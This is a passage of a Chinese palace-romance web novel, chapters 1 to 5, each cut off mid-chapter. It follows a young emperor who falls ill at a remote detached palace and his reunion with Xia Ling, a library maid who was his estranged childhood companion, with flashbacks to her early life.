《宫墙之内有恶犬》 1. 山雨忽来 《宫墙之内有恶犬》全本免费阅读 景熙三年的初夏,日头已初显毒辣的端倪。 京城九门以里,有的人家已架起了凉棚。而在京师西北方几十里外的昌平行宫,还残存着丝丝沁爽的凉意。 夏绫将用脏了的抹布丢进水桶中揉洗干净,双手在长时间的擦洗中已有些发红。她是行宫藏书库的洗扫宫女,自辰时起,已在这里忙活了两个时辰,终于得空舒了口气。 夏绫提起裙摆,爬上了书库的最高层。这是一座三层高的阁楼,由于常年存放书籍,浸染了久久不散的墨香。 推开窗,初夏的清风扑面而来,混着黄栌特有的清苦味。 今日的云要厚些。层云叠着青翠的草木向远方绵延而去,一直连绵到远处一座和缓的山头。 那座山头名为枫露岭,山岭上草木萋青。 夏绫望着枫露岭愣了会神,不知今日是否会有场大雨来袭。 “绫丫头,下来吃些东西吧。”有声音从楼下传来。 夏绫应了一声,掐断了思绪。 “王监丞。”夏绫颔首浅笑,向来人见了个礼。 王平笑呵呵的答应了,将手中的食盒放在楼梯边。他年逾三十,在宦官中的职位不高不低,如今是昌平行宫的管事。 两人在木梯上坐了,王平从食盒中取出碟青菜馅的包子,递给夏绫。 “趁热吃。” 纸张易燃,书库严禁明火,是以在这里当差的宫人没法自己搭炉子,只能吃些冷食。王平知道夏绫这差事清苦,得空时便给她送些还温热的吃食。 “您近日在忙什么?”夏绫不疾不徐的吃着手中的包子,与王平闲聊起来。 “嗐,东边的花圃里生了虫,正领着几个小子打理呢。我说绫丫头,等这阵子忙过去,要不给你这加个人手?” 夏绫抿嘴笑了下:“不碍的,我这一个人还顾得过来。” 王平不做声,将这话头揭了过去。夏绫这样回答他并不意外。 自老管事过世后,王平接手了行宫中的诸项杂事,与夏绫熟识起来。 初见夏绫时,他难掩惊讶,行宫中竟还有个眉眼这样秀气的丫头。这姑娘做事条理分明,很是招人喜欢,但却不是个好热闹的性子,与谁都客客气气,从不深言心事。 王平不由在心中叹息一声。但凡她会钻营些,若是在皇城里,定能谋个比现在好的前程。 昌平行宫虽也是皇家宫所,但自先帝起,已近三十年未有御驾在此驻跸。因此这行宫里的人,大多是些没门路的洗扫杂役,即便如他这样有个一官半职的名头,见了皇城里的宫人,总还是要低上一头的。 饭还没吃完,便听见有嗒嗒的声响打在窗棂上。雨真的下起来了。 书库内的光线在风雨中晦暗了下来,可在纸墨味道的包裹中,又有一份独特的安宁。 夏绫打趣道:“王监丞,您可是先走不成了。” 王平哈哈一笑:“偷得浮生半日闲,倒也妙。” 年少时,王平曾是在内书堂读过书的。能在书库这种地方多待一会,他也觉得惬意。 两人坐在台阶上,互不言语,只是安闲的听着窗外的雨声。 可偏有人要在此时弄些刺耳的声音出来。 雨幕中冲出落汤鸡似的一人,连滚带爬从书库门口一跤滑到了王平跟前。 夏绫认出来,那是王平手下的一个小火者。 王平脸色不太好看,方想开口斥他毛躁,便听到这小阉开口喊到:“干干干干爹,方才有个缇骑来传令,说是御驾正往行宫这边来,马上就到宫门口了!” * 雨中山道上,一队人马正在打马疾行。 为首一人头戴着直檐帽,墨绿色的窄袖曳撒上,用金线勾勒有淡淡的龙纹。 前方突然出现的泥水坑迫使他骤然勒紧了缰绳。 骏马一声长鸣,前蹄高高扬了起来。 宁澈刮了一把脸上的雨水,眯眼在密得发白的雨帘中辨识着方向。这场雨来的突然,他与随行的锦衣卫没有一点防备,从头到脚给浇了个透。 雨势丝毫没有减弱的趋势,前方的山路上积水渐深,再这么跑下去,只怕人和马都吃不消。 “陛下,”庄衡停在宁澈身侧,提高声音禀道,“雨太大了,前面就是昌平行宫,不如您且去避一避,等雨停了再回京吧!” 昌平行宫。 这几个字落在宁澈心头。 不过思索片刻,宁澈简短的说了一个字:“好。” 昌平行宫为大燕朝太宗文皇帝所建,用以出京巡察或谒陵时暂歇。因行宫位于山间,景色清幽秀丽,后世帝王或内眷也不时来此处消夏。 不过自先帝起,这行宫已空置多年。前朝贵妃体弱虚寒,不喜清凉庇荫之处。贵妃病逝后,先帝再无意流连山水,是以宣明一朝,从未有帝王临驾过此处。 若非今日这场大雨,宁澈不知自己什么时候才会到这地方来。 晌午过后,雨势才渐歇了下来。 宁澈阖目倚在床上,他虽然累,但却总也睡不着。殿阁中很安静,静的过了头,就显得有些冷清。 这里与皇城到底是不同的。整座行宫都是一股冷冽的味道,少了人气,就多了些草木本身的幽寂。 殿外有些轻微的响动。宁澈知道,是行宫的那个内侍来了。方入行宫时,他伺候过沐浴更衣。 行宫里的内侍,连脚步声与乾清宫中的人都是不同的。声音虽然小,但并不从容,好像每落一步都担着千斤的心惊胆战。 王平这一天,心就没放进肚子里过。 他没有在御前当过差,根本不知道怎么伺候,甚至连什么时候该去伺候,他都拿不准。他大着胆子向寝殿内瞥了一眼,皇上正倚在床头上,双手交叠在身前,似在思考着些什么。 在陷入沉思时,这位俊朗的少年帝王,清冷的像一座覆雪的山峰。 王平不敢打扰,只轻声将茶水放置在宁澈身侧,打算退到殿外侍候。 宁澈的确在思索着一件事情。他想见位故人,但又不知道究竟该不该见。 “王平。”宁澈叫住正在躬身往外退的人。 王平心头一跳,腿一软当即就跪下了,他没想到皇上竟记得住自己的名字。 宁澈皱了下眉。王平跪的有些远,让他说起话来有点费劲。但他只是不动声色的趿上鞋子,负手站了起来。 “庄衡那边,都打理好了么?” “是,奴婢给指挥使大人送了几碗姜汤,几位大人烤干了衣服,现下已无碍。” 宁澈嗯了一声,沉默的时间有些长。 王平心里打起了鼓,忽听皇上问道:“有什么人想要见朕么?” 这个问题并不在王平的意料之内。他在心里琢磨的片刻,犹豫着说:“并未。陛下若是要见什么人,奴婢这便去传唤。” 咔的一声脆音,宁澈把手指骨捏出了声响,听得王平心惊肉跳。 宁澈走到书案前,提笔蘸墨。他飞速在纸上写下了几行字,将字条递给王平。 “这几本书,天黑之前拿给朕。如果找不到,就让管书库的人自己来跟朕说。” 王平不敢迟疑,捧着字条退了出去。可一出殿门,他脸上却犯了大难。 纸条上这几本书,显然不是什么脍炙人口的著述。要真是藏在哪个犄角旮旯的地方,别说天黑之前,怕是让人在书库里翻个通宵都未必能找到。 他只能先去找夏绫。 天空中还飘着零落的雨丝,恰如王平此时的心情,没着没落的。 “绫丫头,”王平将字条递给夏绫,苦笑道,“这几本书你且先找着,我再去寻几个识字的,尽量给你搭把手。” “王 2. 偶染风寒 《宫墙之内有恶犬》全本免费阅读 王平的这一天,过的实在是太憋屈了。从早到晚,就没有一件事是在他的预料之内的。 而现在,他又为绫丫头担起心来。要万一冲撞了那位祖宗,即便十个自己也救不回她来! 王平越想越心焦,觉得自己还是进去看看的好。 他方要进门,便见一个人影脚步生风的从阁楼内走出来,险些他就与宁澈撞了个满怀。 皇上脸上没有任何情绪,就连一刻前那丝不甚明显的怒气,也寻不到踪迹。 “今晚的事,不要让任何人知道。” 宁澈简短的交代了一句,头也不回的往重华宫走去。 王平不敢多问,只得跟上。待到御驾安寝时,他的心又提了起来。 宁澈没有带近侍,值夜这事,王平须得亲自来做。但他并非乾清宫心腹,不能进内殿伺候,只能在殿外随时等候召唤。 殿内,是金尊玉贵的天下之主,殿外,是披甲执剑的锦衣军卫,王平夹在中间,直掐自己手臂内侧的嫩肉,眼皮是半点架都不敢打。 待到寅时,王平实在是有些撑不住了,倚在墙上想浅浅打上个盹。 不知过了多久,骤然一声咳嗽在他耳边响起。王平一个激灵清醒过来,心道自己莫不是做了什么噩梦。 可咳嗽声还远没有停歇。王平侧着耳朵听去,声音是从殿内传来的,且是愈演愈烈,简直恨不得将整个胸膛都震开。 这是怎么了? 王平越听越觉得不踏实,心里一横,迈过门槛往内殿走去。 夏天天亮的早,此时已近卯时,天边开始泛起鱼肚白。 王平大着胆子轻撩开床幔,眼前的情形吓得他后背立时起了一身冷汗。 宁澈应当是很不舒服。不知在什么时候,辗转间他扯散了自己的发冠。散乱的黑发被汗水濡湿,发丝盘曲的脸上,泛着病气的潮红。 这分明是高烧起来了啊! 王平吓坏了,转身便往殿外奔去。 殿外有几个锦衣卫在彻夜值守。不愧是当上差的人,前一天淋了雨,又在外面站了整晚,身形却依旧挺拔如松。 王平一眼便看到了庄衡,他疾步走去,压低声音对他说到:“指挥使大人,御体有恙,烦请大人传消息回京,尽快宣御医过来!” 庄衡眉心一凝,知道此事耽搁不得,抬手召来一个百户,低声与他吩咐了几句。 王平感激不尽:“多谢庄大人,那奴婢先回殿内守着,有事随时与大人知会。” “等等。”庄衡却沉声叫住了他。 庄衡是个心思缜密的人,身为皇帝的心腹,任何事他都会多想上一层。 陛下此番是从居庸关回来的,那里驻守着拱卫京城的西大营。军营中近日从南边得了两门名为佛朗基的新式火炮,守将连同兵部多次上书,想以此种火炮装备自宣府至辽东一带的守备军。 这么大的事,宁澈总觉得要亲眼去看看才能放心。 但此次出京巡察,内阁是不知情的。若是让杨阁老知道,皇上不但出了京,还在行宫生了病,那不得连夜领着内阁到乾清宫门口哭去? 况且出发前司礼监与他还通过气,务必把皇上安然无恙的送回京。现在出了岔子,要是弄不好,内廷外廷得一块倒霉。 所以这事的动静一定不能太大。凡是见过皇上的人,最好把嘴都封严实了。 “除了你,还有什么人伺候过陛下么?” 北镇抚司的人问话,总在无形中带了一种压迫感,听得王平心头一凛。 王平报了几个洒扫内侍的名字,方想答没有其他人了,可念头忽然一闪,不对,陛下不是还去过书库么!但这事,皇上说过不许再让任何人知道,那到底该不该说…… 可这不过片刻的犹豫,早已落在了庄衡的眼里。 王平还没反应过来发生了什么,庄衡手腕一转,刀鞘已然点在了王平肩头。 “说实话。” 庄衡肩宽腰窄,比王平高了半个脑袋,虽然刀并未出鞘,王平还是被这锦衣卫指挥使吓软了双腿。 他惶恐的答:“皇上……皇上还去过藏书库!” * 行宫东南角的宫女居所,夏绫才刚刚穿戴好衣裳到院子里打水。 她端着满盆的清水回屋去,正见到同屋的方苒,边系衣带边从房中走出来。 “绫儿,你又起这么早?我起床一看,身边都没人了。” 夏绫笑道:“天亮的早,有光亮就睡不着了。水我已经打回来了,你一块用着梳洗吧。” 方苒顺手把木盆接过来放在桌上,抿嘴一乐:“那行,今天你替我打了水,我一会帮你把床铺了去。” 洗漱完毕后,住在这里的宫人们要到行宫的各个处所当值。夏绫与方苒结伴出门,可还未出院子,便见一队锦衣卫大步闯了进来。 “北镇抚司办差。”一身着红色飞鱼服的千户走到院子中央,高声问道,“夏绫是哪一个?” 整座院子里一时无人言语。宫女们这是被吓住了,能让锦衣卫经手的案子,大多都是些让人闻风丧胆的脏事,这种架势几个小姑娘哪里见过? 见无人言声,千户面色沉肃的环顾周遭,又问了一遍:“这里有叫夏绫的吗?” 夏绫脸上没露出什么神色,但掌心还是出了一手滑腻的冷汗。一直不说话也不是办法,她向前走了一步,平声说:“大人,我是夏绫。” 千户打量了她片刻,只吩咐了句:“带走。” “绫儿!”方苒抓住了夏绫的衣袖,惊慌的用眼神问她,这是出什么事了? 夏绫微微摇了下头,轻按下方苒的手。 “大人,请带路吧。” 一路上,夏绫都低着头不言声,顺从的在锦衣卫的押送下往前走着。她一直被带到了重华殿附近的一座矮房前。 矮房中暗的透不进几缕光亮。夏绫被押进屋,锦衣卫勒令她坐进屋子中间的一把椅子。 还未及挣扎,一左一右两个缇骑熟练的用铁链将她的手腕铐在了椅子的扶手上。 生铁寒凉,在触及肌肤的瞬间,夏绫手臂上倒起了一层战栗。 对面的暗影中坐着一个男人,看衣着,要比其他锦衣卫的职级更高些。 庄衡用手指抵着眉心,内廷的事,他真的很不愿意插手。可司礼监也不是吃素的,他们锦衣卫要是不闻不问,由着底下人传起闲话来,到时候谁都不好办。 所以在司礼监来人之前,北镇抚司至少得问明白,都有哪些人见过皇上,私底下又都跟什么人说过闲话。 办案多年,人言可畏 3. 别来无恙 《宫墙之内有恶犬》全本免费阅读 喝过药后,宁澈睡了一会,到傍晚才醒过来。 身子比先前轻松了些,但还是没力气的很,浑身的骨头缝里丝丝拉拉的疼。 “主子,”何敬端了一盆热水进来,放在脚踏边,“奴婢伺候您泡泡脚吧,出些汗身上兴许能舒坦些。” 宁澈坐起身来,光脚踩在脚踏上。稍微动上一动,他的喉咙就痒得厉害,忍不住咳了两声出来。 何敬将宁澈的裤脚细致的挽起来,托起他的脚放进木盆中。 水温很舒服。酥酥麻麻的温热从脚心冲上来,很快宁澈额头上就起了热汗。 何敬跪在地上,轻缓的揉按着宁澈的脚趾。 “你都是司礼监掌印了,以后这种事情,不用亲自做。” 何敬笑道:“皇上体恤奴婢,但伺候主子,是奴婢的本分。” 宁澈不置可否,只抬手示意何敬停下来,双手搭在床沿上,安静的感受着水温带来的舒适感。 何敬擦了擦手,听宁澈问道:“宫里有什么动静么?” “您昨夜未归,内阁那头自然是瞒不住了。但杨阁老也并未说什么,毕竟您此番出京为的是国事。不过……” 宁澈扬眉,示意他说下去。 “不过,您御体微恙这事,阁老并不知情。若让他知道了,免不了又谏您不爱惜自己的身子。” 宁澈按了下自己的眉心。 “杨先生刻板惯了,说不通的事情,就不用让他知道了。行宫这边你去料理吧,让底下人都守住嘴,别乱说。” 何敬等的就是这句话。 “是,是。”何敬忙接到,“庄大人比奴婢想的周到,涉事的宫人全部暂时羁押,确保不会有流言传出来。” “嗯。”宁澈颔首,庄衡做事他总是放心的。 何敬见宁澈恢复了些精神,有意与他多说上几句:“主子您若觉得行宫无聊,奴婢去藏书库给您寻几册书来解闷。正巧管书库那宫女也被拘着呢,您若有什么想看的,奴婢让她去给您取。” “书库”两个字落在宁澈耳朵里,让他格外敏感。他愣了下神,好像没太听懂何敬在说什么,随即,胃里狠抽了一下。 宁澈下意识的捂住了腹部,皱着眉头问:“你说什么?” 锦衣卫拘了夏绫?坏事了。 他豁一下站起来,湿着脚踩在地上,洗脚盆中的水溅了一地。可站的太急,一阵眩晕骤然冲上额头,宁澈扶住床架,弯着腰剧烈的咳嗽了起来。 “主子!”何敬不知自己是哪句话说不对付了,竟惹得宁澈起了这么大动静,急忙端水来给他润喉。 宁澈觉得自己五脏六腑都快给咳出来了。等这个劲过去,他哑着嗓子问:“她人呢?” 皇上说的,是那个管书库的宫女? 何敬心里好大的疑惑,这也就两三天没见,陛下怎就对一个宫女上了这么大心? 但是他只说到:“主子您保重身子,奴婢去将那位姑娘请来吧。您请放心,北镇抚司只是羁押,那姑娘不会有事的。” * 锦衣卫的确没把夏绫怎么样,甚至还将她带到了一间干净的房间里,只是不能随意走动而已。 但毕竟是一帮糙爷们办差,想不起来还要管她的吃喝。夏绫抱膝缩在木榻上,觉得有些渴。 铁链子戴在手上的滋味不太好受。她戴了这一天,细白的腕子上已经磨出了血痕。夏绫只能一点点把衣袖塞进铁铐与手腕的缝隙里,尽量避免生铁直接接触到肌肤。 外面的天色渐渐转暗了,不知今晚是不是得在这地方过夜。 正想着,门外却忽然起了些人声。房门被打开,门口值守的两个锦衣卫走了进来,后面还跟着一个人,夏绫仔细看去,竟是王平。 “绫丫头!”王平跟在锦衣卫身后,想去瞧夏绫却又不敢凑的太近,“你还好吗?” 夏绫点点头,告诉他自己没事。 锦衣卫示意夏绫把手抬起来,为她去了手腕上的铁镣。 “请吧。”他二人让出一个身位,似是又要把夏绫送到别的地方。 这一天可真漫长啊。 夏绫抬眸问到:“大人,这次又要把我带去哪里?” “绫丫头。”王平压低声音唤她,面色上难掩担忧,“陛下说,想要见你。” 天幕暗淡下来,夕阳的残影终在远方重叠的山峰间幻化成了一丝熄灭的余烬。行宫各处掌起了灯,夏绫走在光影不甚明亮的宫道上,迎面吹来的山风让她觉得有些冷。 她下意识的抱住了双臂,以抗拒凉风带给她的不安。 重华殿很快就到了。高耸的殿阁在夜色中只留下黑黢黢的暗影,只有窗格中透出来的点点烛光,泻出一丝夹带着温度的暖意。 只不过,这暖意并不是谁都能消受得起的。 何敬正站在殿外,等候着能让皇上挂心的那位女子到来。他很好奇,究竟是什么人能让陛下如此上心,心里盘算着,回京的马车上是否该多留出一人的位置来。 很快,有缇骑回来禀报:“何掌印,人已请过来了。” 何敬点头,顺着大殿的石阶向下看去。阶下站着个宫装女子,暗影之下看不清脸,但单看身段,柔枝嫩条的,当是个可人儿。 “让她上来吧。” 夏绫得了传召,轻提起下裙走上阶去。 何敬走出两步相迎。以己度人,行宫中的一个小姑娘初见天颜,心中不定紧张成什么样子,还是应当宽慰两句,免得在御前出了错处。 可就在这时,何敬在檐下宫灯的光亮中看清了夏绫的脸。 一瞬间,他僵在了原地。 “你,你……” 因为太过惊讶,何敬结巴了半天,却连一句完整的话都没说出来。 相比之下,夏绫沉静得比这夜色还要凉上三分。 她浅浅对何敬点了下头:“何掌印,那我就先进去了。” * 寝殿内,宁澈沉默的守着纱灯静坐。 可他并不是外表看起来的那样镇定。手背的虎口上,已被他掐起了一片红痕。 吱呀一声轻响,有人推开了殿门。 宁澈匆匆起身,身体一动,心里装的满当当的情绪,和着气息随时都会溢出来。 他独自站在雕花繁复的月洞槅门下,望着殿门口人影轻动,一人迈过门槛,隔着三年的光阴走进殿来。 他很想上前道一声,别来无恙。 夏绫交叠着双手走进来,见了宁澈,屈身想要跪他。 “不用!”宁澈忙托住夏绫的手,先一步扶住她,“你不用这样。” 肌肤相亲。 夏绫把手抽回来,方才触到他的手心,温度有些烫。他还在发着烧。 烛光将两人的身影拉的很长,仿佛同时也拉长了时光。 夏绫不自觉拧了眉头,良久,轻声问他:“还难受吗?” 宁澈的手仍停在原处,掌心空落落的。他缓缓把手也收了回去,紧抿着嘴唇,点头吭了一声。 宁澈曾想过很多次,再与夏绫见面,会是什么样的心情。可当真见了她,臆想中的那些欣喜,焦虑,思念,通通都没有。 而是委屈。 就像在外受了难的孩子,回到家后得一句关心,委屈的想要哭上一场。 夏绫说:“那就别撑着了,咱们坐下说吧。” 宁澈坐回到床榻上,夏绫搬了圆凳,坐到他对面。 因还在病中,宁澈并未穿常服,只着了中衣,外面搭了一件宽大的风氅。中衣是圆领子,细密的贴合在他的脖颈上,衬得他喉结愈发明显。 4. 前尘(一) 《宫墙之内有恶犬》全本免费阅读 夏绫摇摇头:“何掌印,请别这么叫我。我现在只是行宫中的一个宫女,之前那个封号,不做数的。” 何敬默然,再开口时,已然换了称呼。 “姑娘,您和陛下是……” “我们说了会话,他精神还是不太好,过会就该歇下了。”夏绫回头看了眼殿内的灯火,“皇上不能在行宫耽搁太久,明早应该就要启程回京了。我明日还有事要做,就不来送了。” 何敬心下了然,他正为回京的安排为难,夏绫这是故意要告诉他,自己不会跟着回京,免得他再去猜皇上的心思。 “是,姑娘想得周到。”何敬心中存了丝感激。 夏绫和善的笑笑:“我多日不在宫中,掌印高升时,还未恭贺。” 何敬忙欠身:“姑娘说的哪里话,都是为陛下尽心罢了。” 夏绫知道,这都是些你来我往的客套话,却又不能不说。她深长的吸了口气,对何敬道:“如果不介意,掌印陪我走上一会?” “那是自然。”何敬侧身让路,请夏绫先走,“姑娘,奴婢送您。” 下过雨后,西山的夜晚清澈得像一潭可见底的泉水。低洼处的积水还未干透,两人没有走行宫甬道,在曲径小路上慢行的格外小心。 夏绫抱着双臂,问何敬道:“陛下这些年,还是这么容易生病吗?” “是。大碍倒是没有,但像这样的小病,一年怎么也得闹个四五回。”何敬提着灯走在夏绫身侧,“您也知道,陛下这身体,天生就不算太强健的。再加上小时候在浣衣局那么多年,膳食上没有宫里这么细致,气血上亏的实在厉害些。调了这些年,多少是补回来点了,但与寻常人比,还是差了那么一截子的。” “嗯,那太医都怎么说的?” “无非也就是刚刚那些话。还有就是……”何敬犹豫了片刻,方才说道,“还有就是,陛下自己得保持身心欢愉,遇上事要看得开。其实好多病的根呐,都是打心口里来的。” 何敬觑了眼夏绫的神色,继续道:“自傅娘娘过世后,陛下面上虽不显,但心里头总归是藏着不舒坦的。毕竟那么多年的母子情分,临了都没见上最后一面,这道坎哪就那么容易迈过去。” 夏绫没有接他这话。低着头走了一会,才又说:“他这身体,还是得他自己知道在意才行。” “是,是,您这是说到裉节上了。”何敬顺着夏绫的话说,“陛下勤勉政事,遇到要紧的折子,通宵跟着内阁议事的时候也是有的。奴婢们看着忧心,但又不敢耽搁军国要务,劝也劝不得。” 夏绫思量片刻:“连娘娘都劝不动吗?” “您说皇后娘娘?”何敬没想到,夏绫会提及到皇后。 他长叹了口气:“姑娘,奴婢说句自己不该说的话,但这话,也只有您能听。” “皇上和娘娘,根本过不到一块去啊。这样两个人非凑在一块,不过就是互相磋磨日子罢了。” 夏绫蹙了下眉。她想,自己或许不该问起这个话题。 她抬头看了看前面的路。 “掌印,我快要到了。您就在此留步吧,免得让人看见,又惹出什么闲话来。” 何敬停下脚步。他明白分寸,有些事,点到为止便可以了。 “那行,奴婢就不送了。绫姑娘,这灯您拿上。” 夏绫接过灯,忽又抬眸道:“何掌印,我想再多问一句。” 她的眼睛中纯净的像是藏了星子,睫毛轻动间,眼神中不经意的流出了些许期待。 “小铃铛,它还好吗?” “好,好。”何敬脸上浮现出了些笑意,“小铃铛现在长得可大了。它若是站起来,爪子都能搭到人肩上啦。” 夏绫回到住处时,夜已经很深了。 她吹灭了手中的风灯,疲惫的推开房门。往里走了两步,却险些吓了一跳。有个人趴在桌子上,显然已经睡着了。 “苒苒?” 夏绫忙去点灯,黑暗之中摸到了烛台,上面的蜡烛已经烧到见底了。 她摸索着找了根新蜡烛出来,点起了灯,又从床边取了件外衣给方苒披上。 “绫儿?”方苒觉得有人在动她,一下子醒过来,“绫儿,你回来了?” 夏绫替她把衣服紧好:“苒苒,你怎么睡在这里了?” “我不放心你呐!”方苒揉了揉眼睛,她本是坐在这里要等夏绫回来的,可是实在太困了,不知什么时候就趴在桌子上睡过去了。 “绫儿,我今天真是吓坏了,他们没有为难你吧?” “没事,就是问了几句话,事情问清楚,这不就放我回来了。”夏绫温声解释到,拍了拍方苒的肩膀,“苒苒你快去睡吧,今天多谢你等我。” 方苒安了心,爬上床很快就睡着了。房间中熄了灯,夏绫枕着手臂侧身躺在床上,却没什么困意。 半晌,她还是在床上坐了起来,轻轻将窗格推开了个缝隙。 在这个位置,恰能远远的看到重华殿的一角。大殿中已经没有了灯火的光亮,夏绫忍不住琢磨起来,宁澈在那里休息得好不好,会不会又整夜咳得睡不着觉。 在很长一段时间内,宁澈都是她唯一的家人。这一次的相见,对她来说同样是个意外,她内心不可能没有一点波澜。 可奈何,当初说了太多伤人的话,出了太多破镜难圆的事。两人之间的距离,只能越走越远。 前尘旧事,几度春秋。 * 入宫那年,夏绫只有七岁。 夏绫家在南直隶,父亲原是扬州府都指挥使司的一名佥事。那阵子,东南一带的倭患闹得厉害,父亲也得了命令跟着去抗倭,可一次离家后,就再也没有回来。 朝廷本说,会发一笔抚恤,但层层盘剥后,落到手里的银子不过寥寥。 顶梁柱一夕崩塌,家中只剩母亲拉扯他们兄妹二人。生活艰难,母亲从一个温婉柔和的妇人,变成了暴躁易怒的寡妇。 后来,家里实在揭不开锅了。母亲为了能养活哥哥,就把她卖给了人牙子,让她去做瘦马。 不知哪个始作俑者起了这个名字。瘦马,用如其名,就是要给人骑的。 被调教了一段时日后,人牙子引来杭州的一个富商过来选人。那富商很奇怪,四五十岁的人了,却偏喜欢六七岁的小姑娘。夏绫一眼就被他相中了。 富商要把夏绫带回杭州。在去杭州的路上,不料又遇到了倭寇来犯。夏绫仗着身量小,躲进了一个隐蔽的小角落里,侥幸保住了一条性命。 倭寇劫掠的事惊动了南京守备太监,夏绫被发现时,几乎快要饿死了。她没有地方去,心里又害怕的很,恳求那些人一定要收下她。老太监信佛,不落忍见一个小姑娘自生自灭,就把她带回了京,让人送她到浣衣局里做事。 浣衣局又叫浆家房,位于德胜门以西,是内府二十四衙门中唯一一个没设在皇城内的监局。在这里当差的,尽是些皇城中最下等的杂役,获罪者有,病弱者有,总之,都是些不受待见的奴婢。 夏绫得了老太监的吩咐,去找浣衣局的掌事太监,求他给自己安排个活计。掌事上下打量了她几眼,摸着自己白净的下巴,对身边人笑道:“正好。东北角那间房里头上个月不是刚病死了个么,让这丫头过去补个缺,省的那娘儿们天天来管我要人。” 浣衣局的东北角有间矮房,墙皮在风雨多年的侵蚀下早已变得斑斑驳驳。 即便是在这种地方,夏绫仍然是小心翼翼的。她太想要一间能睡觉的房子了,生怕自己哪里做的不好,又会被别人丢来丢去。 这附近却都没什么人。夏绫走到掌事太监为她指派的那间房子,轻悄悄的探头向 5. 重回故地 《宫墙之内有恶犬》全本免费阅读 那时的夏绫并没有意识到,宫闱之中存在着一个被宫女生下的,且没有净身的小男孩,究竟意味着什么。 她有些开心,傅薇说不会赶她走的,她终于能有一个住下的地方了。 傅薇问她:“丫头,你叫什么名字?” 夏绫答:“乔乔。” 乔乔这两个字,是她的小名。取名字时,父亲本想管她叫娇娇的,但母亲觉得,这个名字太过娇弱,怕不好养活,就把女字去掉,改做了乔乔。 “乔乔?那你姓什么,没有大名吗?” 别人问名字的时候要报小字,这也是人牙子教给她的。 人牙子说,那些达官贵人们,哪会记得一个玩物的名姓。倒不如只说个小字,没准还惹人爱怜。 已经有很久,没有人关心过她姓甚名谁了。 夏绫很认真的说:“我叫夏绫,夏天的夏,绫缎的绫。” 傅薇点点头,第一次露出了些笑意:“是很温柔的名字呀。小字是给很亲近的人叫的,那么珍贵的称谓,不要让它变得很廉价。” 夏绫眨眨眼看向傅薇。 从前在那些销金窟里,她见过太多姣好的皮囊,但是从来没有觉得有人好看得让她看不够。 可她现在却觉得,傅薇可真美啊。 房间里只有一张通铺,夏绫和傅薇母子都要睡在这里。 到了晚上,阿澈又咳嗽起来。傅薇用被子把他裹到脖子,出门去烧水给他喝。 夏绫在床铺的另一端,默默自己把枕头与被子铺好。阿澈在被子里只露了个脑袋出来,他不做声的看着夏绫,抿了抿嘴唇,忽然说:“你不能睡那里。” 夏绫跪坐在被子上,对他讲:“薇姨说我可以睡在这的。” 阿澈从被子里站起来,一脸严肃的又说了一遍:“你就是不可以睡在这里!” 傅薇端着温水回来的时候,正好看见这一幕。 她熟练的把阿澈揪回来又塞进被子,垂下眼问:“为什么她不能睡在这?” 阿澈有些委屈的说:“这是兰姨的地方,她如果睡在这里兰姨怎么办?” 傅薇侧身坐在床边上。 “自己端着,把水都喝了。”傅薇将温水递给阿澈,不冷不热的说了句,“你兰姨她不会回来了。” “为什么啊?”阿澈瘪着嘴,已经有点想哭了。 “阿澈。”傅薇把他搂过来,用温水浸过的湿帕子给他擦脸。 在傅薇的揉搓下,阿澈听到她说到:“这世上的事本来就是这样,聚散终有时。你不能像方才那样跟乔乔说话,现在这块地方就是属于乔乔的,你要尊重她的到来。” 傅薇用的力道不小,阿澈在帕子下呜呜了两声,脸蛋被擦的又润又红。只是他依旧不怎么高兴,嘟着嘴向下看,睫毛的暗影被烛光映在脸上。 傅薇散开头发也上了床。她把被子整理好,指了指靠墙的地方说:“阿澈,你今天去里面睡。” 夏绫把被子拉到胸口,在傅薇身后小声说:“薇姨,那我先睡了。” “好,等我收拾好之后就去熄灯,你先睡吧。” 傅薇的背影很纤瘦,头发散下来后,她的眉目在烛光中变得温暖且柔和。 可阿澈还坐在原来的地方不动。 傅薇看了他一眼,盘腿坐在阿澈对面,伸手摸了一下他的脸蛋,压低声音问:“怎么了?” 阿澈没说话,却站起来走到了夏绫与傅薇之间,直接躺在了两人中间。 “我要睡在中间。”阿澈似有似无的看了夏绫一眼,“我娘只能跟我睡在一块。” 他这样子,简直像一只护食的小狗。 傅薇莫名奇妙,不过觉得这样倒是也没什么不行,熄了灯自己躺在了靠墙的位置。 房间里黑的不见五指,她有一搭没一搭的轻轻拍着阿澈,没过一会,两个孩子就都睡熟了。 傅薇翻了个身,脑子里念头一闪,忽然有点明白她这儿子今天到底为什么那么反常了。 新来那丫头一看就是个伶俐懂事的,是个招人疼的孩子。阿澈这是觉着,自己让人给比下去了,才忙着护食。 傅薇抱着自己的肩膀,往被子里又缩了缩。 七岁就那么懂事,有些太早了。 * 转眼间,夏日匆匆已过。 昌平行宫在山色庇荫间并未受到太多酷暑的凌虐。夏绫依旧每天都会在藏书库的最高层坐一会,书页翻动间,便又度过了一个盛夏。 皇上遇雨暂避昌平行宫的事情,就像一颗投入水中石子,初始时激起几圈涟漪,但渐渐都归于平静。 而与此同时,各内监衙门都为一件大事而筹备起来。 景熙皇帝的生辰就要到了。 算起来,这是自景熙朝以来第一个正经操办的万寿大宴。 景熙皇帝十八岁御极,继位之初,正赶上陕西大旱,户部拨了大笔银子去赈灾,却仍是填不满灾民的饥肠。是皇帝从内帑中又拨了银钱,并言宫中的大小庆典一律从简,一切以救济灾民为重。 到了来年,又赶上皇帝的祖母庄靖太后丧仪,皇帝就又没把寿辰这事放在心上。 而如今国库丰盈,就连一向提倡节俭的内阁,对此次万寿节的各项礼制也格外重视。内府各衙门口更是卯足了劲,毕竟谁不想在这位主子面前得个好彩头呢。 夏绫本以为,昌平行宫在京外,至少不会有那么大的动静,谁知司礼监直接来了人,说是宫里人手不够,让王平点一批宫女到皇城各司局打下手。 如此一来,行宫立刻也紧锣密鼓的筹备起来,自是几家欢喜几家忧。 “绫儿!”方苒笑吟吟的声音从藏书库楼下传来。 夏绫弯着身子从楼梯上探出头:“苒苒?你怎么得空过来找我啦?” 方苒掐着腰往上看:“王监丞正在库房用印呢,我跟他说偷个闲。你快下来,我给你带了热粥。” 夏绫转身从楼梯上跑下来,踩得木梯咚咚作响。 “有腐乳吗?” “有,我特意给你拿了一块。”方苒从食盒中端出两碗白粥放在楼梯上,又拿出一碟红艳艳的腐乳放在两碗粥中间。 两人一左一右靠着楼梯坐了,夏绫问方苒:“王监丞看着还好吗?他最近可是忙翻了吧。” 方苒想起王平方才那张青脸,虽然惨,但又觉得有点好笑:“可不是。他说昨天晚上又到后半夜才歇下,今天不到卯时就起了,整个人都快成仙了。” 